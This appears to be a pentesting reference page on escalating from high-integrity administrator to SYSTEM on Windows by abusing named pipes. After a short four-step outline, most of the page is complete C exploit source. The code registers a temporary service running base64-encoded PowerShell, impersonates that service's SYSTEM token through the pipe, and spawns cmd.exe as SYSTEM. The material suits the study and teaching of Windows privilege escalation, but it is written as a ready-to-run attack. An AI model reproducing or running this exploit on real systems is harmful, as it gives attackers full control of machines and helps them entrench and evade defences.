Pentesting

From High Integrity to SYSTEM with Name Pipes

Code flow:

  1. Create a new Pipe

  2. Create and start a service that will connect to the created pipe and write something. The service code will execute this encoded PS code: $pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();

  3. The service receive the data from the client in the pipe, call ImpersonateNamedPipeClient and waits for the service to finish

  4. Finally, uses the token obtained from the service to spawn a new cmd.exe

If you don't have enough privileges the exploit may get stucked and never return.

#include <windows.h>
#include <time.h>
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#define PIPESRV "PiperSrv"
#define MESSAGE_SIZE 512
int ServiceGo(void) {
SC_HANDLE scManager;
SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) {
return FALSE;
}
// create Piper service
scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
"C:\\Windows\\\System32\\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==",
NULL, NULL, NULL, NULL, NULL);
if (scService == NULL) {
//printf("[!] CreateServiceA() failed: [%d]\n", GetLastError());
return FALSE;
}
// launch it
StartService(scService, 0, NULL);
// wait a bit and then cleanup
Sleep(10000);
DeleteService(scService);
CloseServiceHandle(scService);
CloseServiceHandle(scManager);
}
int main() {
LPCSTR sPipeName = "\\\\.\\pipe\\piper";
HANDLE hSrvPipe;
HANDLE th;
BOOL bPipeConn;
char pPipeBuf[MESSAGE_SIZE];
DWORD dBRead = 0;
HANDLE hImpToken;
HANDLE hNewToken;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
// open pipe
hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
// create and run service
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
// wait for the connection from the service
bPipeConn = ConnectNamedPipe(hSrvPipe, NULL);
if (bPipeConn) {
ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
// impersonate the service (SYSTEM)
if (ImpersonateNamedPipeClient(hSrvPipe) == 0) {
return -1;
}
// wait for the service to cleanup
WaitForSingleObject(th, INFINITE);
// get a handle to impersonated token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) {
return -2;
}
// create new primary token for new process
if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation,
TokenPrimary, &hNewToken)) {
return -4;
}
//Sleep(20000);
// spawn cmd.exe as full SYSTEM user
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL,
NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
return -5;
}
// revert back to original security context
RevertToSelf();
}
return 0;
}